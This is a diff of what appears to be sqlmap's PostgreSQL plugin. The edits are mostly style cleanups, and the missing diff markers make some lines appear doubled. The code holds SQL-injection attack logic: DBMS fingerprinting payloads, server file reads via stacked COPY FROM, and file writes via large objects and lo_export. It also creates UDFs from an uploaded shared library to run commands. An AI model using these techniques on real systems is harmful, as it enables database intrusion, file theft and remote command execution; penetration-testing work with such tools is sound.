@@ -116,7 +113,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
return expression
@staticmethod
def escape(expression):
while True:
@@ -141,7 +137,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
return expression
def getFingerprint(self):
value = ""
wsOsFp = formatFingerprint("web server", kb.headersFp)
@@ -177,7 +172,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
return value
def checkDbms(self):
"""
Reference for fingerprint: http://www.postgresql.org/docs/8.3/interactive/release-8-3.html
@@ -199,14 +193,14 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
payload = agent.fullPayload(" AND %s::int=%s" % (randInt, randInt))
result = Request.queryPage(payload)
if result == True:
if result:
infoMsg = "confirming PostgreSQL"
logger.info(infoMsg)
payload = agent.fullPayload(" AND COALESCE(%s, NULL)=%s" % (randInt, randInt))
result = Request.queryPage(payload)
if result != True:
if not result:
warnMsg = "the back-end DMBS is not PostgreSQL"
logger.warn(warnMsg)
@@ -258,7 +252,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
return False
def checkDbmsOs(self, detailed=False):
if kb.os:
return
@@ -266,7 +259,7 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
infoMsg = "fingerprinting the back-end DBMS operating system"
logger.info(infoMsg)
self.createSupportTbl(self.fileTblName, self.tblField, "character(1000)")
self.createSupportTbl(self.fileTblName, self.tblField, "character(1000)")
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()"))
# Windows executables should always have ' Visual C++' or ' mingw'
@@ -283,7 +276,7 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
break
if kb.os == None:
if kb.os is None:
kb.os = "Linux"
infoMsg = "the back-end DBMS operating system is %s" % kb.os
@@ -291,7 +284,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
self.cleanup(onlyFileTbl=True)
def forceDbmsEnum(self):
if conf.db not in PGSQL_SYSTEM_DBS and conf.db != "public":
conf.db = "public"
@@ -302,13 +294,11 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
warnMsg += "database name"
logger.warn(warnMsg)
def unionReadFile(self, rFile):
errMsg = "PostgreSQL does not support file reading with UNION "
errMsg += "query SQL injection technique"
raise sqlmapUnsupportedFeatureException, errMsg
def stackedReadFile(self, rFile):
warnMsg = "binary file read on PostgreSQL is not yet supported, "
warnMsg += "if the requested file is binary, its content will not "
@@ -320,10 +310,10 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
result = []
self.createSupportTbl(self.fileTblName, self.tblField, "bytea")
self.createSupportTbl(self.fileTblName, self.tblField, "bytea")
logger.debug("loading the content of file '%s' into support table" % rFile)
inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, rFile))
inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, rFile))
if kb.unionPosition:
result = inject.getValue("SELECT ENCODE(%s, 'base64') FROM %s" % (self.tblField, self.fileTblName), unpack=False, resumeValue=False, sort=False)
@@ -345,13 +335,11 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
return result
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
errMsg = "PostgreSQL does not support file upload with UNION "
errMsg += "query SQL injection technique"
raise sqlmapUnsupportedFeatureException, errMsg
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
wFileSize = os.path.getsize(wFile)
@@ -364,11 +352,11 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
debugMsg = "creating a support table to write the base64 "
debugMsg += "encoded file to"
logger.debug(debugMsg)
logger.debug(debugMsg)
self.createSupportTbl(self.fileTblName, self.tblField, "text")
self.createSupportTbl(self.fileTblName, self.tblField, "text")
logger.debug("encoding file to its base64 string value")
logger.debug("encoding file to its base64 string value")
fcEncodedList = self.fileEncode(wFile, "base64", False)
debugMsg = "forging SQL statements to write the base64 "
@@ -378,7 +366,7 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
sqlQueries = self.fileToSqlQueries(fcEncodedList)
logger.debug("inserting the base64 encoded file to the support table")
for sqlQuery in sqlQueries:
inject.goStacked(sqlQuery)
@@ -388,9 +376,9 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
# References:
# http://www.postgresql.org/docs/8.3/interactive/largeobjects.html
# http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html
inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
inject.goStacked("SELECT lo_create(%d)" % self.oid)
# http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html
inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
inject.goStacked("SELECT lo_create(%d)" % self.oid)
debugMsg = "updating the system large objects table assigning to "
debugMsg += "the just created OID the binary (base64 decoded) UDF "
@@ -409,7 +397,7 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
#
# As a matter of facts it was possible to store correctly a file
# large 13776 bytes, the problem arises at next step (lo_export())
inject.goStacked("UPDATE pg_largeobject SET data=(DECODE((SELECT %s FROM %s), 'base64')) WHERE loid=%d" % (self.tblField, self.fileTblName, self.oid))
inject.goStacked("UPDATE pg_largeobject SET data=(DECODE((SELECT %s FROM %s), 'base64')) WHERE loid=%d" % (self.tblField, self.fileTblName, self.oid))
debugMsg = "exporting the OID %s file content to " % fileType
debugMsg += "file '%s'" % dFile
@@ -419,14 +407,13 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
# (pg_largeobject 'data' field)
inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile), silent=True)
if confirm == True:
if confirm:
self.askCheckWrittenFile(wFile, dFile, fileType)
inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
def udfSetRemotePath(self):
# On Windows
# On Windows
if kb.os == "Windows":
# The DLL can be in any folder where postgres user has
# read/write/execute access is valid
@@ -441,23 +428,21 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
# read/write/execute access is valid
self.udfRemoteFile = "/tmp/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
def udfCreateFromSharedLib(self, udf, inpRet):
if udf in self.udfToCreate:
if udf in self.udfToCreate:
logger.info("creating UDF '%s' from the binary UDF file" % udf)
inp = ", ".join(i for i in inpRet["input"])
ret = inpRet["return"]
# Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html
inject.goStacked("DROP FUNCTION %s" % udf)
inject.goStacked("CREATE OR REPLACE FUNCTION %s(%s) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, inp, ret, self.udfRemoteFile, udf))
inject.goStacked("DROP FUNCTION %s" % udf)
inject.goStacked("CREATE OR REPLACE FUNCTION %s(%s) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, inp, ret, self.udfRemoteFile, udf))
self.createdUdf.add(udf)
else:
logger.debug("keeping existing UDF '%s' as requested" % udf)
def udfInjectCmd(self):
self.udfLocalFile = paths.SQLMAP_UDF_PATH
self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True)
@@ -481,8 +466,7 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
self.udfInjectCore(self.sysUdfs)
self.envInitialized = True
def uncPathRequest(self):
self.createSupportTbl(self.fileTblName, self.tblField, "text")
self.createSupportTbl(self.fileTblName, self.tblField, "text")
inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, self.uncPath), silent=True)
self.cleanup(onlyFileTbl=True)